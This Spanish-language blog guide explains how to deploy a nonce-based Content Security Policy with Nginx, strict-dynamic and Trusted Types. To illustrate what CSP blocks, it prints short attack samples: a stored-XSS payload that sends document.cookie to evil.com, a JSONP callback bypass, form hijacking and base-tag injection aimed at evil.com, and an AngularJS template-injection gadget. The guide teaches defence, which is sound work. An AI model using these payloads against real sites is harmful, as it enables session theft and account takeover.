Volver al Blog
39 min Copiar como Markdown
Parte 2 / 5 · Endurecer Nginx, desde el borde hacia dentro

Content Security Policy (CSP) con Nginx: La Guía Completa

El 75,81 % de las CSP usan listas de permitidos de scripts que un atacante puede eludir, según la propia investigación de Google; lo que de verdad detiene el script inyectado —y saca un A+— es una política con nonce y strict-dynamic.

Imagen de portada de Content Security Policy (CSP) con Nginx: La Guía Completa

Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades web más devastadoras. En el OWASP Top 10 2021 está dentro de A03: Injection como CWE-79 — una categoría con 33 CWE mapeadas, 274.228 apariciones registradas y una tasa de incidencia máxima del 19,09 % en las aplicaciones analizadas. Según la investigación de seguridad de Google, incluso los sitios web con CSP a menudo fallan en implementarla correctamente: Google logró eludir el 94,72 % de todas las políticas distintas, y el 75,81 % se apoya en listas de permitidos de scripts que un atacante puede eludir.

Content Security Policy (CSP) es tu defensa a nivel de navegador contra estos ataques. Piensa en ella como una estricta “lista de invitados” para tu sitio web: le indicas al navegador explícitamente qué recursos (scripts, estilos, imágenes) pueden ejecutarse. Todo lo que no esté en la lista se bloquea, incluso si un atacante consigue inyectar código malicioso.

Esta guía te lleva desde cero hasta una configuración CSP lista para producción con calificación A+. Aprenderás no solo el “cómo” sino el “por qué” detrás de cada directiva, comprenderás las técnicas modernas de bypass y cómo prevenirlas, y descubrirás temas avanzados como Trusted Types para la prevención de XSS basado en DOM.

TL;DR — una CSP basada en nonces sobre Nginx

7 puntos clave
  • Las allowlists no aguantan. Google logró eludir el 94,72 % de todas las políticas CSP distintas, y el 75,81 % se apoya específicamente en listas de permitidos de scripts que un atacante puede eludir — porque los CDN de confianza alojan endpoints JSONP y librerías desactualizadas que convierten un origen permitido en una vía de ejecución.
  • Un nonce es por petición e impredecible, así que un <script> inyectado no lleva token válido y se rechaza — que es justo lo que una allowlist no puede prometer. No es una garantía absoluta: strict-dynamic permite que un script ya confiable cargue más, un nonce filtrado es un nonce válido, y los sinks del DOM requieren Trusted Types (más abajo).
  • Un sitio estático también puede usar nonces. Nginx genera uno por petición y sub_filter sustituye el placeholder en el cuerpo de la respuesta, sin servidor de aplicación de por medio. Así se sirve exactamente esta página.
  • strict-dynamic propaga la confianza de un script con nonce a lo que este cargue, que es lo que permite que la política sobreviva a bundlers e imports dinámicos sin volver a abrir la allowlist.
  • object-src 'none' y base-uri 'none' no son opcionales: sin ellos una política estricta sigue siendo eludible mediante contenido de plugins e inyección de <base>.
  • Trusted Types (CSP Level 3) cierra el sink del DOM, la clase de XSS a la que una política de origen de scripts no llega por sí sola.
  • El resultado medido en el momento de escribir esto: una A+ en Mozilla Observatory con 140 puntos y los 10 tests superados, alcanzada tras ejecutar Content-Security-Policy-Report-Only con report-uri durante una o dos semanas antes de aplicarla.

Cómo lo ejecuto en mi propia infraestructura

Esto no es hipotético — jmrp.io es en sí mismo la implementación de referencia de todo lo anterior. En producción, Nginx fija set $cspNonce $request_id; y reescribe el marcador con sub_filter NGINX_CSP_NONCE $cspNonce;, de modo que cada respuesta lleva un nonce fresco atado a esa petición. La cabecera que este sitio sirve realmente está basada en nonces: default-src 'none', script-src 'self' 'nonce-…' 'strict-dynamic', style-src 'self' 'nonce-…', más frame-ancestors 'none', base-uri 'none' y report-uri /csp-report. El 'self' que aparece ahí es un respaldo de mismo origen para navegadores sin soporte de strict-dynamic; donde sí lo soportan, el navegador ignora 'self' y el nonce es lo único que autoriza la ejecución. Cero unsafe-inline, cero listas de dominios de terceros que mantener.

Las violaciones no se pierden en un log que nadie lee: tengo mi propio receptor (scripts/csp-reporter.mjs) que las saca a la luz en cuanto ocurren, en vez de depender de un servicio de terceros para saber qué se está rompiendo.

Medido contra la API actual de Mozilla Observatory (v5), esta configuración obtiene una calificación A+: puntuación 140, con los 10 tests pasados y cero fallos. Esa es la cifra a día de hoy — no el 145 que puedes ver referenciado en otra parte de este sitio, de un commit de diciembre de 2025. Aquel total incluía un bonus de 5 puntos que Observatory concede por servir cookies con Secure/HttpOnly/SameSite; esas cookies eran dos valores dummy que no hacían nada útil, y eliminarlas —para que la página /privacy/ de este sitio pueda afirmar honestamente que ninguna respuesta fija Set-Cookie— costó 5 puntos cosméticos en una política que ya no falla ni un solo test. Ese cambio mereció claramente la pena.

Qué contienen de verdad los informes de violación

Ese receptor recibe de media una veintena de informes al día, y la media es el número menos útil del conjunto: la mayoría de los días traen un puñado y algún día suelto trae cientos. Lo que importa es la composición, y es estable desde que empecé a leerlos. La gran mayoría son crawlers. Casi todo el resto son extensiones del navegador y antivirus inyectando scripts y estilos en la página de otra persona. Ni uno solo ha resultado ser un defecto de este sitio.

Los informes de eval bloqueado son el caso más claro, porque son trivialmente falsables: ningún fichero JavaScript que sirve este sitio contiene eval( ni new Function( — tras un build de producción, las únicas apariciones de ese literal en toda la salida están en la prosa de este mismo artículo. Llegan a rachas desde una sola dirección y un solo user-agent, que es un visitante con algo inyectando código en su navegador, no una política demasiado estricta.

Ese es el rendimiento honesto de un report-uri: te cuenta sobre todo lo que el software de otros le hace a tus páginas. Ni una sola vez me ha dicho que mi propia política estuviera mal — lo cual no lo hace inútil, porque me llevó a leer mi propio receptor con la atención suficiente para encontrar el fallo de abajo.

El fallo que esta auditoría encontró en mi propio receptor

Esa composición solo es fiable porque sentarme a comprobarla destapó un fallo de parseo en el propio receptor.

El 22 de agosto añadí un endpoint report-to junto al report-uri de siempre. Las dos API no se ponen de acuerdo en la forma: la antigua envía por POST un único objeto {"csp-report": {…}} con nombres de campo en kebab-case, mientras que la Reporting API manda envoltorios {type, url, body: {…}} en camelCase. Para eso existe una función normalizeReports(), que traduce la segunda forma a la primera — y lo hacía, pero solo cuando el cuerpo llegaba como array.

scripts/csp-reporter.mjs — el fallo javascript
function normalizeReports(parsed) {
  // Un envoltorio suelto no es un array: se escapaba por esta línea
  // y llegaba a los filtros con todos los campos kebab-case undefined.
  if (!Array.isArray(parsed)) return [parsed];
  return parsed.map(/* camelCase → kebab-case */);
}

Un navegador que envía un envoltorio suelto en vez de un array de uno se colaba de largo por esa primera línea. El informe llegaba a los filtros sin directiva, sin URI bloqueada y sin fichero de origen —nada con lo que casar—, así que no se descartaba nada, todo se registraba como inclasificable y cuatro de esos informes vacíos esquivaron el limitador de frecuencia y acabaron en mi móvil como alertas de Telegram con una violación en blanco dentro.

Diez informes entraron así entre el 22 y el 26 de agosto. Descodificados a mano no tienen ningún misterio: seis traen un fichero de origen safari-web-extension://… o safari-extension://…, y los otros cuatro son elementos <style> inline que el navegador atribuye al propio documento. Los filtros de descarte ya cubrían ambas categorías; sencillamente nunca llegaron a ver los campos. El arreglo consiste en aceptar también el envoltorio suelto, no solo el array.

La forma del error es lo que merece escribirse. Una afirmación de que ninguno de estos informes es un defecto real, apoyada en parte en informes que nadie podía leer, no es una afirmación — y no tenía manera de saber cuál de las dos cosas era hasta decodificarlos a mano.


¿Por qué CSP pasó de listas blancas a nonces?

Content Security Policy ha evolucionado significativamente desde su introducción. Comprender esta evolución te ayuda a valorar por qué existen los enfoques modernos de “CSP estricta”.

  1. X-Content-Security-Policy

    Mozilla presenta la primera implementación de CSP como cabecera experimental. Blog de Seguridad de Mozilla

  2. CSP Level 1 Hito

    El W3C estandariza CSP con directivas fetch básicas (script-src, style-src, etc.). Especificación W3C CSP 1.0

  3. CSP Level 2 Hito

    Introduce nonces, hashes y frame-ancestors. 'unsafe-inline' puede anularse con nonces. W3C CSP Level 2

  4. Investigación de Google Obsoleto

    Google publica 'CSP Is Dead, Long Live CSP' demostrando que se puede eludir el 94,72 % de todas las políticas distintas, de las cuales el 75,81 % usa listas de permitidos de scripts eludibles. Artículo de investigación

  5. strict-dynamic Estándar

    Nueva keyword que permite a los scripts de confianza cargar dependencias sin necesidad de allowlist explícito. MDN strict-dynamic

  6. CSP Level 3 (Working Draft) Hito

    Introduce Trusted Types, report-to y soporte mejorado para WebAssembly. W3C CSP Level 3

  7. Adopción de Trusted Types Estándar

    El soporte en navegadores madura; las empresas comienzan a adoptarlo para la prevención de DOM-XSS. web.dev Trusted Types


Tu primera CSP en 5 minutos

Vamos a poner en marcha una CSP funcional ahora mismo. Abre tu configuración de Nginx y añade esta única cabecera:

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}

Comprueba tu configuración y recarga Nginx:

sudo nginx -t && sudo systemctl reload nginx

¡Eso es todo! Ahora tienes una CSP funcional. Abre las DevTools de tu navegador (F12 → Consola) para ver las violaciones:

Consola del navegador
Refused to load the script 'https://cdn.example.com/analytics.js' because it
violates the following Content Security Policy directive: "default-src 'self'".

¿Qué permite realmente una lista blanca de CSP?

CSP funciona definiendo lo que se permite, no lo que se bloquea. Piensa en ella como una lista VIP en un evento exclusivo: solo los recursos que figuran en la lista pueden entrar.

Navegador

✓ Permitido

✗ Bloqueado

Política CSP

Tus scripts

(self)

Scripts de CDN

(externos)

Scripts inline

()

Scripts XSS

inyectados

Ejecutar

Rechazar

CSP actúa como un guardián para todos los recursos del navegador

Por qué CSP importa: el principio de defensa en profundidad

Sin CSP, si un atacante inyecta <script>stealCookies()</script> en tu página (a través de un formulario de comentarios, un parámetro de URL o la base de datos), el navegador lo ejecuta sin problemas: no tiene forma de distinguir scripts legítimos de maliciosos.

Con CSP, el navegador verifica cada recurso contra tu política antes de ejecutarlo. Si los scripts inline no están explícitamente permitidos, el ataque se neutraliza a nivel de navegador.


Cómo funcionan los ataques XSS (y cómo CSP los detiene)

Para entender el valor de CSP, vamos a trazar un ataque XSS típico:

Servidor del atacanteNavegador de la víctimaTu sitio webAtacanteServidor del atacanteNavegador de la víctimaTu sitio webAtacanteComentario guardado en BD(sin sanitización)Navegador ve la etiqueta <script>y la ejecutaEl atacante ahora tienela sesión de la víctimaEnvía comentario maliciosocon etiqueta scriptVisita la página con comentariosHTML con script inyectadoEl script envía cookies/tokensde sesión al atacante
Flujo de ataque XSS sin protección CSP

Desglose paso a paso

  1. Inyección: el atacante envía un comentario que contiene:

    <script>fetch('https://evil.com?c='+document.cookie)</script>
  2. Almacenamiento: el sitio web lo guarda en la base de datos sin una sanitización adecuada

  3. Entrega: cuando otro usuario ve la página, el script malicioso se sirve como parte del HTML

  4. Ejecución: el navegador ve una etiqueta <script> y la ejecuta sin hacer preguntas

  5. Exfiltración: el script envía las cookies de sesión al servidor del atacante

Cómo CSP rompe la cadena

Con CSP (script-src 'self'), el paso 4 falla. El navegador comprueba: “¿Es un script inline? ¿Está 'unsafe-inline' permitido?” Como los scripts inline están bloqueados por defecto, el ataque se neutraliza:

Consola del navegador con CSP
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'". Either the
'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce ('nonce-…')
is required to enable inline execution.

Vectores de ataque que CSP previene

CSP aborda múltiples categorías de amenazas. Así es como las diferentes directivas crean defensa en profundidad:

Amenazas comunes mitigadas por CSP
AmenazaVector de ataqueDefensa CSP
XSS reflejadoScripts inyectados mediante parámetros de URLscript-src sin 'unsafe-inline'
XSS almacenadoScripts inyectados mediante contenido de BDscript-src con nonces/hashes
XSS basado en DOMAbuso de eval(), innerHTMLscript-src sin 'unsafe-eval' + Trusted Types
Exfiltración de datosXHR/fetch a servidores del atacanteconnect-src 'self'
ClickjackingSitio enmarcado por una página maliciosaframe-ancestors 'none'
Contenido mixtoRecursos HTTP en páginas HTTPSupgrade-insecure-requests
Ataques mediante pluginsExploits de Flash, Java, PDFobject-src 'none'
Secuestro de formulariosFormularios inyectados para robar credencialesform-action 'self'
Inyección de etiqueta baseRedirección de URLs relativas al atacantebase-uri 'none'

Directivas CSP: aprende haciendo

En lugar de memorizar tablas, vamos a aprender cada directiva añadiéndola a nuestra política de forma progresiva.

1. default-src: el fallback

Esta es la directiva comodín. Si no especificas una directiva para un tipo de recurso, se aplica default-src.

default-src CSP Level 1 MDN

default-src <source-list>

Predeterminado: * (permitir todo)

Fallback para todas las directivas fetch no especificadas. Establécela de forma restrictiva y añade directivas específicas según sea necesario.

Buena práctica: establece default-src 'none' y permite explícitamente lo que necesites. Este es el enfoque “denegar por defecto” que recomiendan los profesionales de seguridad.

Directiva default-src nginx
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';

2. script-src: la directiva más crítica

Controla qué scripts pueden ejecutarse en tu página. Si te equivocas aquí, toda tu CSP es prácticamente inútil.

script-src CSP Level 1 MDN

script-src <source-list>

Predeterminado: Recurre a default-src

Especifica las fuentes válidas para JavaScript. Es la directiva más importante para la protección contra XSS.

Valores de origen de script-src
ValorSignificadoSeguridad
'self'Solo mismo origen (esquema + host + puerto)Seguro
'none'Bloquea todos los scripts completamenteMáximo
'nonce-{random}'Permite scripts con atributo nonce coincidenteRecomendado
'sha256-{hash}'Permite scripts con hash de contenido coincidenteFuerte
'strict-dynamic'La confianza se propaga a scripts cargados dinámicamenteFuerte
https://cdn.example.comPermite scripts de un dominio específicoDébil (eludible)
'unsafe-inline'Permite todos los scripts inlinePeligroso
'unsafe-eval'Permite eval(), Function(), etc.Peligroso

3. style-src: control de CSS

style-src CSP Level 1 MDN

style-src <source-list>

Predeterminado: Recurre a default-src

Especifica las fuentes válidas para hojas de estilo. Menos crítica que script-src pero igualmente importante para una protección integral.

style-src con unsafe-inline nginx
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';

4. Directivas de recursos

# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;

data: suele necesitarse para imágenes codificadas en base64, iconos SVG o imágenes placeholder.

# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;

Esto controla a dónde puede enviar datos JavaScript. Es crítico para evitar que se envíen datos robados a servidores del atacante.

# Audio and video sources
media-src 'self';
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;

Controla las fuentes para scripts de Worker, SharedWorker y ServiceWorker. Si no se especifica, recurre a script-src como fallback.

5. Directivas de hardening de seguridad

A menudo se pasan por alto pero son obligatorias para una CSP estricta:

object-src 'none' — Bloquear plugins

Los plugins como Flash y Java han sido históricamente vectores de vulnerabilidades importantes. Aunque Flash está obsoleto, bloquear object-src previene cualquier ataque basado en plugins:

Directiva object-src nginx
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';

base-uri 'none' — Prevenir la inyección de etiqueta base

La etiqueta <base> define una URL base para todas las URLs relativas de un documento. Si un atacante inyecta una etiqueta <base>, puede redirigir todas tus URLs relativas a su servidor:

Ataque sin base-uri
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
Con base-uri 'none'
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.

frame-ancestors 'none' — Protección contra clickjacking

Impide que tu sitio se incruste en iframes en otros sitios:

Directiva frame-ancestors nginx
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';

form-action 'self' — Controlar el envío de formularios

Impide que los atacantes inyecten formularios que envían datos a sus servidores:

Directiva form-action nginx
# Forms can only submit to your own domain
form-action 'self';

Construyendo tu CSP capa a capa

En lugar de escribir una CSP perfecta de golpe (lo que lleva a la frustración), vamos a construirla de forma progresiva. Cada capa añade protección, y puedes detenerte en cualquier nivel según tus necesidades.

Niveles de seguridad CSP
NivelAdición a la políticaProtección añadida
0Sin CSPNinguna — completamente expuesto a XSS
1default-src 'none'Bloquea todo por defecto
2+ script-src 'self'Solo se ejecutan tus scripts
3+ style-src, img-src, font-srcControla los recursos visuales
4+ connect-src 'self'; object-src 'none'Limita la exfiltración de datos, bloquea plugins
5+ base-uri 'none'; frame-ancestors 'none'Previene inyección y clickjacking
6+ form-action 'self'; upgrade-insecure-requestsProtección base completa

Nivel 6: una CSP base sólida

Así es como se ve el Nivel 6 en la práctica:

/​etc/​nginx/​sites-available/​example.com
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;

El reto de los scripts inline

La mayoría de sitios web tienen scripts inline como este:

Script inline típico html
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>

Con script-src 'self', esto se bloquea. Tienes tres soluciones:

Comparación de soluciones para scripts inline
SoluciónIdeal paraVentajasInconvenientes
Archivos externosCasos sencillosSin nonces/hashes; cacheablePetición HTTP extra; no puede ejecutarse antes del render
HashesScripts estáticosFunciona con contenido estático; sin cambios en el servidorHay que regenerarlo con cada cambio en el script
NoncesTodos los casosMáxima flexibilidad; recomendado por GoogleRequiere nonce del servidor (truco Nginx para sitios estáticos)

Solución 1: mover a archivos externos

El enfoque más limpio — mover el código inline a archivos .js:

Inline (bloqueado por CSP)
<head>
  <script>
    initTheme();
  </script>
</head>
Externo (permitido)
<head>
  <script src="/js/theme.js"></script>
</head>

Solución 2: usar hashes

Genera un hash SHA-256 del contenido de tu script y añádelo a tu CSP. Puedes calcularlo directamente en tu navegador con la calculadora de hashes: pega el contenido exacto del script y copia el valor sha256-… en tu política.

Limitación: debes regenerar el hash cada vez que cambie el contenido del script — incluso añadir un espacio lo invalidará.

Solución 3: usar nonces

Añade un token aleatorio tanto a la cabecera CSP como a tus etiquetas de script:

Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>

Fundamental: el nonce debe ser:

  • Criptográficamente aleatorio (al menos 128 bits / 16 bytes)
  • Único por petición (nunca reutilices nonces)
  • Codificado (base64 o hex — el $request_id de Nginx usa hex, que es válido según la especificación CSP)

Nonces para sitios estáticos: el truco de Nginx

Este es el reto: los generadores de sitios estáticos (Astro, Next.js, Hugo) construyen el HTML en tiempo de build. Pero los nonces deben ser únicos por petición. ¿Cómo puede un HTML estático contener nonces dinámicos?

La solución: sustitución de placeholders

NavegadorNginxHTML en discoTiempo de buildNavegadorNginxHTML en discoTiempo de buildPlaceholder almacenadoLos nonces coinciden ✓El script se ejecutaHTML con placeholdernonce="CSP_NONCE_NGINX"GET /page.htmlGenera nonce único($request_id)Reemplaza placeholdercon nonce realHTML + cabecera CSPcon nonce coincidente
Inyección de nonce con Nginx para sitios estáticos

Paso 1: usa placeholders en tus plantillas

En tus plantillas, usa un placeholder que Nginx reemplazará:

src/​layouts/​BaseLayout.astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>

Paso 2: configura Nginx

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'nonce-$cspNonce';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}

Lo que el navegador ve

<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>

Modo estricto con 'strict-dynamic'

La keyword 'strict-dynamic' es revolucionaria: permite que los scripts cargados por scripts de confianza también se ejecuten, sin necesitar sus propios nonces.

Sin confianza (Bloqueado)

Cadena de confianza (Permitido)

Política CSP

Crea

Carga

Valida

Sin coincidencia

Sin coincidencia

Nonce en cabecera

'nonce-abc123'

Script con

nonce=abc123

createElement('script')

(sin nonce necesario)

Librería cargada

dinámicamente

Script XSS

inyectado

Event handler

onclick=...

Bloqueado

Propagación de confianza con strict-dynamic

Cómo funciona

Ejemplo de propagación de confianza html
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>

Cuándo usar 'strict-dynamic'

Casos de uso de strict-dynamic
Escenario¿Usar strict-dynamic?Razón
SPA con code splittingWebpack/Vite cargan chunks dinámicamente
Analytics (GA, Segment)Los scripts de analytics suelen cargar scripts adicionales
Widgets de tercerosLos widgets de chat y embeds cargan sus propias dependencias
Sitio estático simpleOpcionalSi todos los scripts están en el HTML, los nonces por sí solos son suficientes
Sin JavaScriptNoUsa script-src 'none' en su lugar

La fórmula de CSP estricta

Según la investigación de Google, una “CSP estricta” que realmente proteja contra XSS requiere estos elementos:

Requisitos de CSP estricta
  • Usa nonces o hashes en lugar de allowlists de dominios
  • Incluye 'strict-dynamic' para la carga dinámica de scripts
  • Establece object-src 'none' para bloquear plugins
  • Establece base-uri 'none' para prevenir la inyección de etiquetas base

La plantilla

Plantilla de CSP estricta nginx
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

Por qué las allowlists no funcionan

Los vectores de bypass más comunes incluyen:

  • Endpoints JSONP en CDNs de confianza
  • Redirecciones abiertas en dominios permitidos
  • Inyección de plantillas de AngularJS en orígenes permitidos
  • Contenido subido por usuarios servido desde dominios permitidos

Interactivo: Construye tu CSP

Usa el constructor de políticas CSP interactivo para crear una política directiva a directiva y ver su puntuación de seguridad en tiempo real: marca las fuentes inseguras y genera por ti la línea add_header de Nginx correspondiente.


Técnicas de bypass de CSP y prevención

Entender cómo los atacantes eluden la CSP te ayuda a evitar errores comunes.

1. Endpoints JSONP

Los endpoints JSONP ejecutan callbacks controlados por el usuario, lo que los convierte en un vector de bypass clásico:

Vulnerable
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
Protegido
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->

2. Secuestro de formularios

Los atacantes pueden inyectar formularios para robar credenciales si no se establece form-action:

Ataque de secuestro de formularios html
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->

Prevención:

form-action 'self';

3. Inyección de etiqueta base

Ataque con etiqueta base html
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->

Prevención:

base-uri 'none';

4. Script gadgets en bibliotecas permitidas

Algunas bibliotecas importantes contienen patrones que pueden explotarse para XSS cuando dicha biblioteca está permitida por CSP:

Según la investigación de Sebastian Lekies et al., las bibliotecas más comunes contienen patrones explotables:

Script gadgets en bibliotecas populares
BibliotecaTipo de gadgetVector de ataqueRiesgo
AngularJS (1.x)Inyección de plantillasng-app + {{constructor.constructor('alert(1)')()}}Crítico
jQuery (<3.0)XSS basado en selectores$(location.hash) con entrada del usuarioAlto
Require.jsImports dinámicosRutas de módulos controladas por el atacanteMedio
Dojo ToolkitCarga de módulosrequire() con entrada del usuarioMedio
Google ClosureSistema de plantillasRenderizado inseguro de plantillasMedio

5. object-src ausente

Sin object-src 'none', los atacantes pueden usar plugins para ejecutar código:

XSS basado en objetos html
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">

Prevención:

object-src 'none';

Trusted Types: La siguiente evolución

Mientras que la CSP tradicional previene la inyección de etiquetas <script>, no protege contra XSS basado en DOM donde JavaScript escribe directamente en sinks peligrosos:

Vulnerabilidad de XSS basado en DOM javascript
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution

Trusted Types obliga a los desarrolladores a sanitizar los datos antes de pasarlos a estos sinks.

Trusted Types es experimental pero está madurando

Trusted Types es experimental .

Cómo funcionan los Trusted Types

Entrada del usuario

innerHTML

XSS ejecutado

Entrada del usuario

Política de

sanitización

TrustedHTML

innerHTML

Seguro

Trusted Types impone la sanitización en los sinks del DOM

Activar Trusted Types

nginx.conf (CSP con Trusted Types)
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;

Crear una política de Trusted Types

Política de sanitización con Trusted Types javascript
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!

Avanzado: CSP por endpoint

Diferentes partes de tu sitio pueden necesitar políticas distintas:

  • Paneles de administración: CSP más estricta
  • Endpoints de API: No se necesita CSP (el JSON no se ejecuta)
  • Assets estáticos: Relajada para previsualizaciones en redes sociales
  • Páginas con contenido generado por usuarios: Restricciones adicionales

Implementación

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;

Migración: de Report-Only a aplicación

Nunca despliegues una CSP estricta directamente en producción. Utiliza un enfoque por fases:

Proceso seguro de migración de CSP
  1. Desplegar en modo report-only (1-2 semanas)

    Usa Content-Security-Policy-Report-Only para registrar violaciones sin bloquear nada. Monitoriza tus logs para entender qué se rompería.

  2. Analizar y corregir violaciones

    Revisa los informes y soluciona los problemas:

    • Inline event handlers → addEventListener()
    • Llamadas a eval()JSON.parse() o refactorización
    • Nonces faltantes en scripts inline
    • Scripts de terceros que necesitan strict-dynamic
  3. Activar la aplicación gradualmente

    Cambia de Report-Only a Content-Security-Policy. Mantén una cabecera report-only para probar futuras políticas más estrictas.

Fase 1: Report-Only

Modo report-only nginx
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-report;
" always;

Fase 2: Corregir problemas comunes

Problemas comunes a corregir
  • Inline event handlers → Convertir onclick="..." a addEventListener()
  • Uso de eval() → Reemplazar con JSON.parse() o refactorizar
  • Nonces faltantes → Añadir nonce="CSP_NONCE_NGINX" a los scripts inline
  • Scripts de terceros → Verificar que 'strict-dynamic' los cubre
  • Estilos inline en JS → Usar clases CSS o CSS custom properties

